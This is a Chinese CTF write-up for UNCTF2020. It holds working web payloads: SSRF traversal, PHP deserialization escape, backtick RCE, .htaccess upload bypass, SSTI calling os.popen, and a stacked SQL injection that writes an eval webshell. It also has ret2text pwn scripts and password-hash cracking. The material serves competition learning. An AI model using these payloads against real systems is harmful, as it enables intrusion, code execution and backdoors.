UNCTF2020

2020年高校联合招新赛UNCTF

竞赛时间: 2020年11月07日-14日

后面几天没太看掉了下来,Rank: 23


Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

简单的ssrf攻击。

file_get_contents函数,当目标请求时会判断使用的协议,如果为无法识别的协议会当做目录处理,会造成目录穿越,构造payload: ?url=0://unctf.com/../../../../../flag拿到flag。

easyunserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符串逃逸。

先构造普通情形:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
$x=new a('admin',1);
echo serialize($x);
//O:1:"a":2:{s:5:"uname";s:5:"admin";s:8:"password";i:1;}
?>

需要password变为easy,且challenge会多4字节变easychallenge,构造

?1=challenge";s:8:"password";s:4:"easy";}

会变成

?1=easychallenge";s:8:"password";s:4:"easy";}

计算需要的challenge数量:$9x+29=(9+4)x$,发现 $x=7.25$ 非整数,

在payload后补足三个空格,使得 $9x+29+3=(9+4)x$,解得 $x=8$,即构造uname为8个challenge并在尾部补三个空格,payload:

?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}%20%20%20

babyeval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>

过滤不多的RCE,?a=echo `base64 flag.php`

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

反序列化,要构造usernameadminpasswordpassword,尝试构造array:

1
2
3
4
5
<?php
$x=array('username'=>'admin','password'=>'password');
echo serialize($x);
//a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";}
?>

发现不成功,那么usernamepassword需要的实际字符串应该不对。

if判断条件出用的是==弱类型比较,PHP中任意字符串==true结果都为true,更换构造值为bool类型:

1
2
3
4
5
<?php
$x=array('username'=>true,'password'=>true);
echo serialize($x);
//a:2:{s:8:"username";b:1;s:8:"password";b:1;}
?>

POST提交payload,得到flag。

easy_upload

随便上传

De1ctf 2020-Check in原题。

随便传一个jpg文件,回显过滤perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

上传.htaccess文件,bp改包,用换行绕过关键字过滤:

1
2
3
4
5
AddHandler p\
hp5-script .txt
p\
hp_value au\
to_append_file /flag

再随便传一个txt文件,访问对应路径即加载得到/flag内容。

easyflask

进入提示a easy flask problem,first login as the admin

访问/login登录,尝试admin/admin登录,提示login fail! check /register

访问/register注册,用admin/admin注册,提示register success,注册成功,

回到登录页登录,提示admin login success!

再回到主页,发现提示变为admin login success and check the secret route /secret_route_you_do_not_know

访问/secret_route_you_do_not_know,提示you should 'guess' the secret number

GET方式传入?guess=15,回显15 error!!,存在SSTI漏洞。

fuzz一波,发现过滤了[]_"'%等,尝试用request外部参数方式,利用<class 'click.utils.LazyFile'>类命令执行。

列目录:

1
?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&init=__init__&g=__globals__&mod=os&func=popen&cmd=ls&re=read

读文件:

1
?guess={{{}|attr(request.args.param)|attr(request.args.mro)|attr(request.args.sub)()|attr(request.args.item)(475)(request.args.file)|attr(request.args.re)()}}&param=__class__&mro=__base__&sub=__subclasses__&item=__getitem__&file=flag.txt&re=read

checkin-sql

非常简单的sql 0.0

提示1:flag不在数据库中。。

强网杯 2019-随便注原题魔改。

1' or 1=1 #,查看返回数据

1' order by 2 #,查列数

1' union select 1,2 #,失败,说明有正则过滤

1'; show databases;#,堆叠注入查数据库

1'; show tables;#,堆叠注入查表

1'; show columns from 0xDktb;#,堆叠注入查数据库

用预处理语句查询结果(select * from `0xDktb`):

1'; set@a=0x73656c656374202a2066726f6d20603078446b746260; prepare execsql from @a;execute execsql;#,失败,说明有关键字被过滤,尝试发现是set关键字

改为:

1'; prepare execsql from 0x73656c656374202a2066726f6d20603078446b746260;execute execsql;#,成功查询,但不是flag,更换查询内容,找了整个数据库都未发现flag字符串。

猜测flag在文件系统里,尝试写文件(select '<?php @eval($_POST[ccc]);?>' into outfile '/var/www/html/shell.php'):

1'; prepare execsql from 0x73656c65637420273c3f70687020406576616c28245f504f53545b6363635d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f7368656c6c2e70687027;execute execsql;#

用蚁剑试连,发现成功,在根目录拿到flag。

Pwn

YLBNB

守护世界上最好的YLB
nc 45.158.33.12 8000

先nc,提示用pwntool,运行脚本拿到flag。

1
2
3
from pwn import *
r = remote('45.158.33.12', 8000)
r.interactive()

fan

简单ret2text

1
2
3
4
5
6
7
from pwn import *
r = remote('node2.hackingfor.fun',48548)
system_addr=0x400735
payload = 'a'*(0x30+8) + p64(system_addr)
r.recvuntil('input your message\n')
r.sendline(payload)
r.interactive()

do_you_like_me?

简单ret2text

1
2
3
4
5
6
7
from pwn import *
r = remote('node2.hackingfor.fun',46506)
system_addr=0x4006CD
payload = 'a'*(0x10+8) + p64(system_addr)
r.recvuntil('Give me your input : ')
r.sendline(payload)
r.interactive()

Reverse

re_checkin

二进制手做不出来这个就考虑退役吧

IDA打开,定位到start函数,再不断跟进到sub_4015DC发现flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
.text:00000000004015DC sub_4015DC      proc near               
.text:00000000004015DC arg_0 = qword ptr 10h
.text:00000000004015DC
.text:00000000004015DC push rbp
.text:00000000004015DD mov rbp, rsp
.text:00000000004015E0 mov [rbp+arg_0], rcx
.text:00000000004015E4 mov cs:Str2, 'u'
.text:00000000004015EB mov cs:byte_42F041, 'n'
.text:00000000004015F2 mov cs:byte_42F042, 'c'
.text:00000000004015F9 mov cs:byte_42F043, 't'
.text:0000000000401600 mov cs:byte_42F044, 'f'
.text:0000000000401607 mov cs:byte_42F045, '{'
.text:000000000040160E mov cs:byte_42F046, 'W'
.text:0000000000401615 mov cs:byte_42F047, 'e'
.text:000000000040161C mov cs:byte_42F048, 'l'
.text:0000000000401623 mov cs:byte_42F049, 'c'
.text:000000000040162A mov cs:byte_42F04A, 'o'
.text:0000000000401631 mov cs:byte_42F04B, 'm'
.text:0000000000401638 mov cs:byte_42F04C, 'e'
.text:000000000040163F mov cs:byte_42F04D, 'T'
.text:0000000000401646 mov cs:byte_42F04E, 'o'
.text:000000000040164D mov cs:byte_42F04F, 'U'
.text:0000000000401654 mov cs:byte_42F050, 'N'
.text:000000000040165B mov cs:byte_42F051, 'C'
.text:0000000000401662 mov cs:byte_42F052, 'T'
.text:0000000000401669 mov cs:byte_42F053, 'F'
.text:0000000000401670 mov cs:byte_42F054, '}'
.text:0000000000401677 mov cs:byte_42F055, 0
.text:000000000040167E nop
.text:000000000040167F pop rbp
.text:0000000000401680 retn
.text:0000000000401680 sub_4015DC endp

反编译

用 pyinstxtractor反编译出pyc文件,再用uncompyle6反编译pyc可得源代码:

1
2
3
4
5
str2 = 'UMAQBvogWLDTWgX"""k'
flag = ''
for i in range(len(str2)):
flag += chr(ord(str2[i]) + i)
print(flag)

运行得flag。

babypy

Babypy.That’s really easy!!!

用 pyinstxtractor反编译出pyc文件,再用uncompyle6反编译pyc可得源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os, libnum, binascii
flag = 'unctf{*******************}'
x = libnum.s2n(flag)

def gen(x):
y = abs(x)
while 1:
if y > 0:
yield y % 2
y = y >> 1
else:
if x == 0:
yield 0


l = [i for i in gen(x)]
l.reverse()
f = '%d' * len(l) % tuple(l)
a = binascii.b2a_hex(f.encode())
b = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

代码逻辑为字符→10进制→2进制→字符16进制,txt文件16进制按逻辑逆推得到flag。

CTFilter

假如你是李华,你的好友学习委员无意之间看到了一串flag!
这串flag极有可能是解开谜题的关键。
他立刻在一台装有Windows10 1903 x64操作系统的虚拟机中使用记事本写下了这串flag并保存。
然而,令他没想到的是,这个系统却另有玄机!
任何人都无法在这个系统中写下正确的flag?
请你以好友的身份对他伸出援手,帮助学习委员找到真正的flag。

学习委员:那你能帮帮我吗?
李华:瞧谁不起呢?

压缩包里有CTFilter.sys、Hint.exe、Unknown_data、Story.txt四个文件,IDA分析前两个,CTFilter.sys查看没什么结果,Hint.exe中发现一个flag字符串flag{Oh!You_found_me~},结合题干描述这串flag极有可能是解开谜题的关键,尝试将flag字符串作为key与密文Unknown_data异或,发现居然成功得到flag。

Crypto

easy_rsa

给 $a,b,e$,易推出 $p$ 和 $q$,再按正常RSA解法解即可。

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

鞍山大法官开庭之缺的营养这一块怎么补

某日,鞍山大法官在点外卖时点了2个韭菜盒子,商家只送了1个,大法官给了该商家一个差评
次日,该大法官又在该商家点了1个韭菜盒子,希望商家能补上上次的韭菜盒子,而商家又只发了一个韭菜盒子
这名大法官一天正常要吃2个韭菜盒子,而该商家每天只给他1个韭菜盒子,请问该名大法官缺的营养这一块怎么补
ottttootoootooooottoootooottotootttootooottotttooootttototoottooootoooottotoottottooooooooottotootto
flag格式:unctf{}

尝试二进制转字符及摩斯密码均不成功,最后才想到培根密码,分别把o和t替换为A和B,在线解密得flag。

简单的RSA

你们都不会百度的吗

只给出 $e,n,c$,且 $e$ 很大,简单的RSA Wiener攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#sage
def rational_to_contfrac(x,y):
# Converts a rational x/y fraction into a list of partial quotients [a0, ..., an]
a = x // y
pquotients = [a]
while a * y != x:
x, y = y, x - a * y
a = x // y
pquotients.append(a)
return pquotients

def convergents_from_contfrac(frac):
# computes the list of convergents using the list of partial quotients
convs = [];
for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0 : i]))
return convs

def contfrac_to_rational (frac):
# Converts a finite continued fraction [a0, ..., an] to an x/y rational.
if len(frac) == 0: return (0,1)
num = frac[-1]
denom = 1
for _ in range(-2, -len(frac) - 1, -1): num, denom = frac[_] * num + denom, num
return (num, denom)

e= 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647414676272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
n= 147282573611984580384965727976839351356009465616053475428039851794553880833177877211323318130843267847303264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
c= 140896698267670480175739817539898638657099087197096836734243016824204113452987617610944986742919793506024892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934

def egcd(a, b):
if a == 0: return (b, 0, 1)
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)

def mod_inv(a, m):
g, x, _ = egcd(a, m)
return (x + m) % m

def isqrt(n):
x = n
y = (x + 1) // 2
while y < x:
x = y
y = (x + n // x) // 2
return x

def crack_rsa(e, n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k, d) in convergents:
if k != 0 and (e * d - 1) % k == 0:
phi = (e * d - 1) // k
s = n - phi + 1
# check if x*x - s*x + n = 0 has integer roots
D = s * s - 4 * n
if D >= 0:
sq = isqrt(D)
if sq * sq == D and (s + sq) % 2 == 0: return d

d = crack_rsa(e, n)
m = hex(pow(c, d, n))[2:]
print(bytes.fromhex(m))

wing

你过office二级了吗

提示office,猜测为word中某种字体,打开word输入字母+数字,再切换各字体核对,发现为Wingdings 2字体,对照替换得flag。

signin

Really baby problem about block cipher
flag 格式: flag{}

AES-ECB模式两次加密,且密钥已知位较多,可采用中间人攻击(MITM)。

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Cipher import AES
from binascii import hexlify,unhexlify
from string import printable

alph = printable
m = ''
c = ''
flag_c = ''
middle = dict();

for x in alph:
for y in alph:
for z in alph:
key1 = '%s%s%s%s' % ('0' * 13, x, y, z)
cipher = AES.new(key1)
middle.update({cipher.encrypt(m): key1})

print "\nTable built...\n";

for x in alph:
for y in alph:
for z in alph:
key2 = '%s%s%s%s' % (x, y, z, '0' * 13)
cipher = AES.new(key2)
d = cipher.decrypt(c)
if d in middle:
print "\nKeys found: %s; %s\nFlag:" % (middle[d].encode('hex'), key2.encode('hex'))
cipher1 = AES.new(middle[d])
print cipher1.decrypt(cipher.decrypt(flag_c))

快乐数学_0x00

刚才我问扎克利,扎总发生甚么事了。扎总说怎么回事。我给扎总发了几张截图。
扎总一看,噢,原来是昨天,几个大学生,二十多岁,他们说,哎~。
有一个说,我在 UNCTF 打比赛,头都做疼了,扎总,你能不能教教我怎么做题,哎,帮我分数弄高一点。
扎总说,可以,你在 UNCTF 死做题,不好用。他不服气。
扎总说,我说小朋友,你多长两个脑子来做我这新题。他做不动,他说你这个没用。
扎总说,我这个有用,他是数学,数学对计算机基础很重要,二百多个人做不出我这题。他非要和我试试。
扎总说,可以。扎总一说他啪站起来了,很快啊,然后上来一个左正蹬,一个右鞭腿,一个左刺拳。
扎总全部防出去了啊,防出去以后,自然是传统功夫以点到为止,右手把数学题摁在他鼻子上,没打他,扎总笑了一下,准备收拳。
后面我暂时编不下去了,你们来跟扎总打吧。
数学题,可能存在异议的,群里私聊 Hanser 的老公。

链接: https://pan.baidu.com/s/1nB8j4TN3HFe_SXvrwzyE2g 密码: ca04

纯高数回忆录,复习了一把,采用wolframalpha辅助计算。

第一个,$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n$:

计算到2020开n次方的求和不好表示,可以用wolframalpha观察规律:

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}}{2020})^n=\sqrt{2}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}}{2020})^n=\sqrt[3]{6}=\sqrt[3]{2\cdot3}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}}{2020})^n=\sqrt[4]{24}=\sqrt[4]{2\cdot3\cdot4}$

$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\sqrt[n]{3}+\sqrt[n]{4}+\sqrt[n]{5}}{2020})^n=\sqrt[5]{120}=\sqrt[5]{2\cdot3\cdot4\cdot5}$

以此类推,$\lim \limits_{n \to \infty} (\cfrac{1+\sqrt[n]{2}+\cdots+\sqrt[n]{2020}}{2020})^n=\sqrt[2020]{2020!}$

第二个,$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}$:

wolframalpha编写:

limit (integrate (integrate (u^2-3sin(u-t)^2),t=0 to u),u=0 to x)/(x^8) as x->+∞

计算得出:$\lim \limits_{x \to +\infty} \cfrac{\int_{0}^{x}\text{d}u\int_{0}^{u}[u^2-3\sin(u-t)^2] \text{d}t }{x^8}=\cfrac{1}{112}$

第三个,设 $\Omega:x^2+y^2 \leq 3z,1 \leq z \leq 4$,求 $\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v$:

转换到极坐标求解,设 $x=r\sin{\theta},y=r\cos{\theta}$:

wolframalpha编写:

(integrate dθ,θ=0 to 2*pi)(integrate r/sqrt(r^2+z) dr, r=0 to sqrt(3z))

integrate 2*pi*sqrt(z) dz, z=1 to 4

计算得出:

$\displaystyle\iiint_\Omega \cfrac{1}{\sqrt{x^2+y^2+z}}\text{d}v=\int_{1}^{4}\text{d}z\int_{0}^{2\pi}\text{d}\theta \int_{0}^{\sqrt{3z}}\cfrac{r}{r^2+z}\text{d}r=\int_{1}^{4}2\pi\sqrt{z}\text{d}z=\cfrac{28\pi}{3}$

最后,合并为\sqrt[2020]{2020!}-\frac{1}{112}-\frac{28\pi}{3},md5值为flag。

Misc

baba_is_you

了解一下png文件格式

16进制查看,文件尾有一串B站网址,访问,在评论区发现flag。

爷的历险记

RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗

RPG小游戏,启动玩耍。

屋里屋外到处寻找线索,发现两个箱子,分部用base64解码出密码66668888和摩斯密码解码出密码23332333打开箱子拿奖励,依次勉强打过屋外主场景左边和下边两个场景的小boss,屋外主场景右下方商人处可以购买hint1和hint2,hint2提示查看游戏存档。

想到修改存档文件的方式,更改金钱以购买hint3。使用RPG存档在线修改器修改rpgsave文件中的金钱属性值到最大值,再回到游戏加载存档,购买hint3即为flag。

阴阳人编码

发现含就这.就这¿不会吧!三种字符串,需要一点脑洞,联想到Ook编码,在线解密得flag。

躲猫猫

我躲好了,你来找我

直接打开报错,右键压缩包打开,在sharedStrings.xml发现base64编码字符串,base64+url解码得flag。

YLB’s CAPTCHA - 签到题

YLB同款验证码

硬看到眼睛疼就能过了,可以考虑修改css配色方案降低难度。

撕坏的二维码

RPG小游戏
爷把flag弄丢了, 你可以帮他找回来吗

部分遮盖的二维码,直接用QR Rearch识别出flag。

网络深处1

好孩子不要上洋葱鸭

三个文件,txt有一串数字,zip包加密,

Audacity分析wav文件,结合文件名“拨号音”,用DTMF拨号音识别脚本识别出wav的手机号码,解压得一个wav文件和txt文件,继续Audacity分析wav文件,切换到频谱图发现关键字我是tupper

了解到Tupper为自我指涉公式,找到一个在线还原图像网站还原得flag。

mouse_click

flag格式为unctf{*},**中的字母统一为大写

简单鼠标流量取证。

提取usb数据信息:

tshark -r mouse.pcapng -T fields -e usb.capdata > usbdata.txt

提取坐标值脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nums = []
keys = open('usbdata.txt','r')
result = open('result.txt','w')
posx = 0
posy = 0
for line in keys:
line = line.strip()
if line == '' :#忽略空行
continue
x = int(line[6:8],16)
y = int(line[9:11],16)
if x > 127 :
x -= 256
if y >127 :
y -= 256
posx += x
posy += y
btn_flag = int(line[3:5],16)
if btn_flag == 1 :
result.write(str(posx)+' '+str(posy)+'\n')
keys.close()
result.close()

运行:python analyse.py

控制台画图:gnuplot.exe -e "plot 'result.txt'" -p

被删除的flag

flag被删除了,你能恢复它吗

16进制查看,搜索unctf得flag。

你能破解我的密码吗

flag内容为密码的32位小写的md5,请用unctf{}包裹字符串

shadow文件中倒数第二行,用john命令破解弱口令:

john --show shadow

得到密码,md5处理即flag。

EZ_IMAGE

手撸最终肯定能出来,不过学到更好用的自动化姿势(montage+gaps),适用于任何拼图题:

先把225张图用ImageMagick中的montage命令合成一张大图:

montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg

得到一张大图之后,用gaps来进行还原:

gaps --image=out.jpg --generations=40 --population=225 --size=60 --save

我瞎了看不到flag了

零宽字符隐写,可以在vim中用vim -A xxx.txt查看核实。

全选复制,用在线工具直接取出flag。

YLB绝密文件

提示1:需要提取出三个文件: *.pyc,*.py,*.zip
提示2:zip文件可以以原始数据的形式导出Hex值,再导入Winhex/010 Editor然后删去非Zip数据部分(自行百度Zip格式

Wireshark查看流量包,追踪TCP流,分别在流11、流16和流20流提取出xor.py、secret.cpython-38.pyc和YLBSB.zip三个文件。

用uncompyle6还原pyc文件为secret.py文件拿到key值YLBSB?YLBNB!,再根据xor.py代码逻辑,将key与zip包中的YLBSB.xor文件16进制值异或,保存得到YLBSB.docx文件,打开得到flag。

倒影

16进制查看exe文件发现是jpg图,在尾部发现4030B405,即为倒着存入的一段16进制zip文件,取出16进制逆序还原,用ARCHPR纯数字跑出弱口令得到flag。

Other

调查问卷

请大家认真填写哟~ 只有几道,不多,最多占用大家两三分钟…
问卷地址:https://wj.qq.com/s2/7519766/6af6/
想要大家一起吐槽?
知乎链接:https://www.zhihu.com/question/429290669/answer/1564365629

反馈就是了。